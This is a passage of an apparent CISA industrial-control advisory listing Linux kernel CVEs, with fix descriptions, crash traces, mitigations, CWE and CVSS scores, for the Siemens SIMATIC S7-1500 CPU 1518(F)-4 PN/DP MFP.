<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/392.html">CWE-392 Missing Report of Error Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23434</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mtd: rawnand: serialize lock/unlock against other NAND operations nand_lock() and nand_unlock() call into chip-&gt;ops.lock_area/unlock_area without holding the NAND device lock. On controllers that implement SET_FEATURES via multiple low-level PIO commands, these can race with concurrent UBI/UBIFS background erase/write operations that hold the device lock, resulting in cmd_pending conflicts on the NAND controller. Add nand_get_device()/nand_release_device() around the lock/unlock operations to serialize them against all other NAND controller access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23434">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/820.html">CWE-820 Missing Synchronization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23438</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: mvpp2: guard flow control update with global_tx_fc in buffer switching mvpp2_bm_switch_buffers() unconditionally calls mvpp2_bm_pool_update_priv_fc() when switching between per-cpu and shared buffer pool modes. This function programs CM3 flow control registers via mvpp2_cm3_read()/mvpp2_cm3_write(), which dereference priv-&gt;cm3_base without any NULL check. When the CM3 SRAM resource is not present in the device tree (the third reg entry added by commit 60523583b07c ("dts: marvell: add CM3 SRAM memory to cp11x ethernet device tree")), priv-&gt;cm3_base remains NULL and priv-&gt;global_tx_fc is false. Any operation that triggers mvpp2_bm_switch_buffers(), for example an MTU change that crosses the jumbo frame threshold, will crash: Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000 Mem abort info: ESR = 0x0000000096000006 EC = 0x25: DABT (current EL), IL = 32 bits pc : readl+0x0/0x18 lr : mvpp2_cm3_read.isra.0+0x14/0x20 Call trace: readl+0x0/0x18 mvpp2_bm_pool_update_fc+0x40/0x12c mvpp2_bm_pool_update_priv_fc+0x94/0xd8 mvpp2_bm_switch_buffers.isra.0+0x80/0x1c0 mvpp2_change_mtu+0x140/0x380 __dev_set_mtu+0x1c/0x38 dev_set_mtu_ext+0x78/0x118 dev_set_mtu+0x48/0xa8 dev_ifsioc+0x21c/0x43c dev_ioctl+0x2d8/0x42c sock_ioctl+0x314/0x378 Every other flow control call site in the driver already guards hardware access with either priv-&gt;global_tx_fc or port-&gt;tx_fc. mvpp2_bm_switch_buffers() is the only place that omits this check. Add the missing priv-&gt;global_tx_fc guard to both the disable and re-enable calls in mvpp2_bm_switch_buffers(), consistent with the rest of the driver.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23438">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23439</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: udp_tunnel: fix NULL deref caused by udp_sock_create6 when CONFIG_IPV6=n When CONFIG_IPV6 is disabled, the udp_sock_create6() function returns 0 (success) without actually creating a socket. Callers such as fou_create() then proceed to dereference the uninitialized socket pointer, resulting in a NULL pointer dereference. The captured NULL deref crash: BUG: kernel NULL pointer dereference, address: 0000000000000018 RIP: 0010:fou_nl_add_doit (net/ipv4/fou_core.c:590 net/ipv4/fou_core.c:764) [...] Call Trace: genl_family_rcv_msg_doit.constprop.0 (net/netlink/genetlink.c:1114) genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209) [...] netlink_rcv_skb (net/netlink/af_netlink.c:2550) genl_rcv (net/netlink/genetlink.c:1219) netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1344) netlink_sendmsg (net/netlink/af_netlink.c:1894) __sock_sendmsg (net/socket.c:727 (discriminator 1) net/socket.c:742 (discriminator 1)) __sys_sendto (./include/linux/file.h:62 (discriminator 1) ./include/linux/file.h:83 (discriminator 1) net/socket.c:2183 (discriminator 1)) __x64_sys_sendto (net/socket.c:2213 (discriminator 1) net/socket.c:2209 (discriminator 1) net/socket.c:2209 (discriminator 1)) do_syscall_64 (arch/x86/entry/syscall_64.c:63 (discriminator 1) arch/x86/entry/syscall_64.c:94 (discriminator 1)) entry_SYSCALL_64_after_hwframe (net/arch/x86/entry/entry_64.S:130) This patch makes udp_sock_create6 return -EPFNOSUPPORT instead, so callers correctly take their error paths. There is only one caller of the vulnerable function and only privileged users can trigger it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23439">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23446</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: usb: aqc111: Do not perform PM inside suspend callback syzbot reports "task hung in rpm_resume" This is caused by aqc111_suspend calling the PM variant of its write_cmd routine. The simplified call trace looks like this: rpm_suspend() usb_suspend_both() - here udev-&gt;dev.power.runtime_status == RPM_SUSPENDING aqc111_suspend() - called for the usb device interface aqc111_write32_cmd() usb_autopm_get_interface() pm_runtime_resume_and_get() rpm_resume() - here we call rpm_resume() on our parent rpm_resume() - Here we wait for a status change that will never happen. At this point we block another task which holds rtnl_lock and locks up the whole networking stack. Fix this by replacing the write_cmd calls with their _nopm variants</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23446">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/833.html">CWE-833 Deadlock</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23449</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: teql: Fix double-free in teql_master_xmit Whenever a TEQL devices has a lockless Qdisc as root, qdisc_reset should be called using the seq_lock to avoid racing with the datapath. Failure to do so may cause crashes like the following: [ 238.028993][ T318] BUG: KASAN: double-free in skb_release_data (net/core/skbuff.c:1139) [ 238.029328][ T318] Free of addr ffff88810c67ec00 by task poc_teql_uaf_ke/318 [ 238.029749][ T318] [ 238.029900][ T318] CPU: 3 UID: 0 PID: 318 Comm: poc_teql_ke Not tainted 7.0.0-rc3-00149-ge5b31d988a41 #704 PREEMPT(full) [ 238.029906][ T318] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 238.029910][ T318] Call Trace: [ 238.029913][ T318] [ 238.029916][ T318] dump_stack_lvl (lib/dump_stack.c:122) [ 238.029928][ T318] print_report (mm/kasan/report.c:379 mm/kasan/report.c:482) [ 238.029940][ T318] ? skb_release_data (net/core/skbuff.c:1139) [ 238.029944][ T318] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) ... [ 238.029957][ T318] ? skb_release_data (net/core/skbuff.c:1139) [ 238.029969][ T318] kasan_report_invalid_free (mm/kasan/report.c:221 mm/kasan/report.c:563) [ 238.029979][ T318] ? skb_release_data (net/core/skbuff.c:1139) [ 238.029989][ T318] check_slab_allocation (mm/kasan/common.c:231) [ 238.029995][ T318] kmem_cache_free (mm/slub.c:2637 (discriminator 1) mm/slub.c:6168 (discriminator 1) mm/slub.c:6298 (discriminator 1)) [ 238.030004][ T318] skb_release_data (net/core/skbuff.c:1139) ... [ 238.030025][ T318] sk_skb_reason_drop (net/core/skbuff.c:1256) [ 238.030032][ T318] pfifo_fast_reset (./include/linux/ptr_ring.h:171 ./include/linux/ptr_ring.h:309 ./include/linux/skb_array.h:98 net/sched/sch_generic.c:827) [ 238.030039][ T318] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) ... [ 238.030054][ T318] qdisc_reset (net/sched/sch_generic.c:1034) [ 238.030062][ T318] teql_destroy (./include/linux/spinlock.h:395 net/sched/sch_teql.c:157) [ 238.030071][ T318] __qdisc_destroy (./include/net/pkt_sched.h:328 net/sched/sch_generic.c:1077) [ 238.030077][ T318] qdisc_graft (net/sched/sch_api.c:1062 net/sched/sch_api.c:1053 net/sched/sch_api.c:1159) [ 238.030089][ T318] ? __pfx_qdisc_graft (net/sched/sch_api.c:1091) [ 238.030095][ T318] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) [ 238.030102][ T318] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) [ 238.030106][ T318] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) [ 238.030114][ T318] tc_get_qdisc (net/sched/sch_api.c:1529 net/sched/sch_api.c:1556) ... [ 238.072958][ T318] Allocated by task 303 on cpu 5 at 238.026275s: [ 238.073392][ T318] kasan_save_stack (mm/kasan/common.c:58) [ 238.073884][ T318] kasan_save_track (mm/kasan/common.c:64 (discriminator 5) mm/kasan/common.c:79 (discriminator 5)) [ 238.074230][ T318] __kasan_slab_alloc (mm/kasan/common.c:369) [ 238.074578][ T318] kmem_cache_alloc_node_noprof (./include/linux/kasan.h:253 mm/slub.c:4542 mm/slub.c:4869 mm/slub.c:4921) [ 238.076091][ T318] kmalloc_reserve (net/core/skbuff.c:616 (discriminator 107)) [ 238.076450][ T318] __alloc_skb (net/core/skbuff.c:713) [ 238.076834][ T318] alloc_skb_with_frags (./include/linux/skbuff.h:1383 net/core/skbuff.c:6763) [ 238.077178][ T318] sock_alloc_send_pskb (net/core/sock.c:2997) [ 238.077520][ T318] packet_sendmsg (net/packet/af_packet.c:2926 net/packet/af_packet.c:3019 net/packet/af_packet.c:3108) [ 238.081469][ T318] [ 238.081870][ T318] Freed by task 299 on cpu 1 at 238.028496s: [ 238.082761][ T318] kasan_save_stack (mm/kasan/common.c:58) [ 238.083481][ T318] kasan_save_track (mm/kasan/common.c:64 (discriminator 5) mm/kasan/common.c:79 (discriminator 5)) [ 238.085348][ T318] kasan_save_free_info (mm/kasan/generic.c:587 (discriminator 1)) [ 238.085900][ T318] __kasan_slab_free (mm/ ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23449">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/367.html">CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23450</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/smc: fix NULL dereference and UAF in smc_tcp_syn_recv_sock() Syzkaller reported a panic in smc_tcp_syn_recv_sock() [1]. smc_tcp_syn_recv_sock() is called in the TCP receive path (softirq) via icsk_af_ops-&gt;syn_recv_sock on the clcsock (TCP listening socket). It reads sk_user_data to get the smc_sock pointer. However, when the SMC listen socket is being closed concurrently, smc_close_active() sets clcsock-&gt;sk_user_data to NULL under sk_callback_lock, and then the smc_sock itself can be freed via sock_put() in smc_release(). This leads to two issues: 1) NULL pointer dereference: sk_user_data is NULL when accessed. 2) Use-after-free: sk_user_data is read as non-NULL, but the smc_sock is freed before its fields (e.g., queued_smc_hs, ori_af_ops) are accessed. The race window looks like this (the syzkaller crash [1] triggers via the SYN cookie path: tcp_get_cookie_sock() -&gt; smc_tcp_syn_recv_sock(), but the normal tcp_check_req() path has the same race): CPU A (softirq) CPU B (process ctx) tcp_v4_rcv() TCP_NEW_SYN_RECV: sk = req-&gt;rsk_listener sock_hold(sk) /* No lock on listener */ smc_close_active(): write_lock_bh(cb_lock) sk_user_data = NULL write_unlock_bh(cb_lock) ... smc_clcsock_release() sock_put(smc-&gt;sk) x2 -&gt; smc_sock freed! tcp_check_req() smc_tcp_syn_recv_sock(): smc = user_data(sk) -&gt; NULL or dangling smc-&gt;queued_smc_hs -&gt; crash! Note that the clcsock and smc_sock are two independent objects with separate refcounts. TCP stack holds a reference on the clcsock, which keeps it alive, but this does NOT prevent the smc_sock from being freed. Fix this by using RCU and refcount_inc_not_zero() to safely access smc_sock. Since smc_tcp_syn_recv_sock() is called in the TCP three-way handshake path, taking read_lock_bh on sk_callback_lock is too heavy and would not survive a SYN flood attack. Using rcu_read_lock() is much more lightweight. - Set SOCK_RCU_FREE on the SMC listen socket so that smc_sock freeing is deferred until after the RCU grace period. This guarantees the memory is still valid when accessed inside rcu_read_lock(). - Use rcu_read_lock() to protect reading sk_user_data. - Use refcount_inc_not_zero(&amp;smc-&gt;sk.sk_refcnt) to pin the smc_sock. If the refcount has already reached zero (close path completed), it returns false and we bail out safely. Note: smc_hs_congested() has a similar lockless read of sk_user_data without rcu_read_lock(), but it only checks for NULL and accesses the global smc_hs_wq, never dereferencing any smc_sock field, so it is not affected. Reproducer was verified with mdelay injection and smc_run, the issue no longer occurs with this patch applied. [1] https://syzkaller.appspot.com/bug?extid=827ae2bfb3a3529333e9</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23450">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23452</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: PM: runtime: Fix a race condition related to device removal The following code in pm_runtime_work() may dereference the dev-&gt;parent pointer after the parent device has been freed: /* Maybe the parent is now able to suspend. */ if (parent &amp;&amp; !parent-&gt;power.ignore_children) { spin_unlock(&amp;dev-&gt;power.lock); spin_lock(&amp;parent-&gt;power.lock); rpm_idle(parent, RPM_ASYNC); spin_unlock(&amp;parent-&gt;power.lock); spin_lock(&amp;dev-&gt;power.lock); } Fix this by inserting a flush_work() call in pm_runtime_remove(). Without this patch blktest block/001 triggers the following complaint sporadically: BUG: KASAN: slab-use-after-free in lock_acquire+0x70/0x160 Read of size 1 at addr ffff88812bef7198 by task kworker/u553:1/3081 Workqueue: pm pm_runtime_work Call Trace: dump_stack_lvl+0x61/0x80 print_address_description.constprop.0+0x8b/0x310 print_report+0xfd/0x1d7 kasan_report+0xd8/0x1d0 __kasan_check_byte+0x42/0x60 lock_acquire.part.0+0x38/0x230 lock_acquire+0x70/0x160 _raw_spin_lock+0x36/0x50 rpm_suspend+0xc6a/0xfe0 rpm_idle+0x578/0x770 pm_runtime_work+0xee/0x120 process_one_work+0xde3/0x1410 worker_thread+0x5eb/0xfe0 kthread+0x37b/0x480 ret_from_fork+0x6cb/0x920 ret_from_fork_asm+0x11/0x20 Allocated by task 4314: kasan_save_stack+0x2a/0x50 kasan_save_track+0x18/0x40 kasan_save_alloc_info+0x3d/0x50 __kasan_kmalloc+0xa0/0xb0 __kmalloc_noprof+0x311/0x990 scsi_alloc_target+0x122/0xb60 [scsi_mod] __scsi_scan_target+0x101/0x460 [scsi_mod] scsi_scan_channel+0x179/0x1c0 [scsi_mod] scsi_scan_host_selected+0x259/0x2d0 [scsi_mod] store_scan+0x2d2/0x390 [scsi_mod] dev_attr_store+0x43/0x80 sysfs_kf_write+0xde/0x140 kernfs_fop_write_iter+0x3ef/0x670 vfs_write+0x506/0x1470 ksys_write+0xfd/0x230 __x64_sys_write+0x76/0xc0 x64_sys_call+0x213/0x1810 do_syscall_64+0xee/0xfc0 entry_SYSCALL_64_after_hwframe+0x4b/0x53 Freed by task 4314: kasan_save_stack+0x2a/0x50 kasan_save_track+0x18/0x40 kasan_save_free_info+0x3f/0x50 __kasan_slab_free+0x67/0x80 kfree+0x225/0x6c0 scsi_target_dev_release+0x3d/0x60 [scsi_mod] device_release+0xa3/0x220 kobject_cleanup+0x105/0x3a0 kobject_put+0x72/0xd0 put_device+0x17/0x20 scsi_device_dev_release+0xacf/0x12c0 [scsi_mod] device_release+0xa3/0x220 kobject_cleanup+0x105/0x3a0 kobject_put+0x72/0xd0 